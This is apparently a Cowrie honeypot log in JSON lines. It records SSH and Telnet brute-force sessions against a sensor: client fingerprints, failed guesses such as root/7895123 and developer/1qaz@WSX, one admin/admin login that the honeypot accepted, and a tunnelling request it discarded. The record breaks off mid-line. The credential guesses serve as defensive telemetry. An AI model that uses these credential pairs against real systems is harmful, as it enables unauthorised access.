{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53976,"dst_ip":"10.17.0.5","dst_port":22,"session":"e49cd6ce995d","protocol":"ssh","message":"New connection: 193.32.162.145:53976 (10.17.0.5:22) [session: e49cd6ce995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:09.669704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:09.674947Z","src_ip":"193.32.162.145","session":"e49cd6ce995d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:09.786119Z","src_ip":"193.32.162.145","session":"e49cd6ce995d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:10.160789Z","src_ip":"193.32.162.145","session":"e49cd6ce995d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:11.276676Z","src_ip":"193.32.162.145","session":"e49cd6ce995d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":52800,"dst_ip":"10.17.0.5","dst_port":22,"session":"37458a00eae5","protocol":"ssh","message":"New connection: 201.217.12.57:52800 (10.17.0.5:22) [session: 37458a00eae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:28.791014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:28.796062Z","src_ip":"201.217.12.57","session":"37458a00eae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:28.994015Z","src_ip":"201.217.12.57","session":"37458a00eae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7895123","message":"login attempt [root/7895123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:29.801339Z","src_ip":"201.217.12.57","session":"37458a00eae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:05:30.998343Z","src_ip":"201.217.12.57","session":"37458a00eae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40326,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8094719836f","protocol":"telnet","message":"New connection: 174.138.46.234:40326 (159.203.135.109:23) [session: a8094719836f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:04.603670Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40380,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f3f3e045696","protocol":"telnet","message":"New connection: 174.138.46.234:40380 (159.203.135.109:23) [session: 3f3f3e045696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:04.823782Z"}
{"eventid":"cowrie.session.closed","duration":4.011761426925659,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:08.615193Z","src_ip":"174.138.46.234","session":"a8094719836f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.037229061126709,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:11.860891Z","src_ip":"174.138.46.234","session":"3f3f3e045696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":52210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f6c45c874f2","protocol":"ssh","message":"New connection: 201.217.12.57:52210 (10.17.0.5:22) [session: 6f6c45c874f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:32.789117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:32.801546Z","src_ip":"201.217.12.57","session":"6f6c45c874f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:32.983151Z","src_ip":"201.217.12.57","session":"6f6c45c874f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123","message":"login attempt [root/Qwer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:33.721125Z","src_ip":"201.217.12.57","session":"6f6c45c874f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:06:34.910192Z","src_ip":"201.217.12.57","session":"6f6c45c874f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44522,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeaaa879b540","protocol":"ssh","message":"New connection: 193.32.162.145:44522 (10.17.0.5:22) [session: eeaaa879b540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:15.750107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:15.755373Z","src_ip":"193.32.162.145","session":"eeaaa879b540","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:15.861394Z","src_ip":"193.32.162.145","session":"eeaaa879b540","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:16.204557Z","src_ip":"193.32.162.145","session":"eeaaa879b540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:17.316688Z","src_ip":"193.32.162.145","session":"eeaaa879b540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":42938,"dst_ip":"159.203.135.109","dst_port":22,"session":"0700037c5cb4","protocol":"ssh","message":"New connection: 200.118.150.20:42938 (159.203.135.109:22) [session: 0700037c5cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:36.902283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:37.113475Z","src_ip":"200.118.150.20","session":"0700037c5cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:37.199020Z","src_ip":"200.118.150.20","session":"0700037c5cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"*","message":"login attempt [testuser/*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:37.584966Z","src_ip":"200.118.150.20","session":"0700037c5cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12088,"dst_ip":"10.17.0.5","dst_port":22,"session":"5af1a54a4b1a","protocol":"ssh","message":"New connection: 87.251.64.176:12088 (10.17.0.5:22) [session: 5af1a54a4b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:38.626585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:38.631206Z","src_ip":"87.251.64.176","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:38.677867Z","src_ip":"200.118.150.20","session":"0700037c5cb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:38.727765Z","src_ip":"87.251.64.176","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.019148Z","src_ip":"87.251.64.176","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.117820Z","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.214999Z","src_ip":"87.251.64.176","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":39454,"dst_ip":"10.17.0.5","dst_port":22,"session":"269328823ef7","protocol":"ssh","message":"New connection: 181.123.136.11:39454 (10.17.0.5:22) [session: 269328823ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.328342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.333223Z","src_ip":"181.123.136.11","session":"269328823ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.449639Z","src_ip":"87.251.64.176","session":"5af1a54a4b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:39.509492Z","src_ip":"181.123.136.11","session":"269328823ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1qaz@WSX","message":"login attempt [developer/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:40.270685Z","src_ip":"181.123.136.11","session":"269328823ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:07:41.448107Z","src_ip":"181.123.136.11","session":"269328823ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":57716,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3bcfcdbdb72","protocol":"ssh","message":"New connection: 181.123.136.11:57716 (10.17.0.5:22) [session: d3bcfcdbdb72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:08:45.791695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:08:45.803814Z","src_ip":"181.123.136.11","session":"d3bcfcdbdb72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2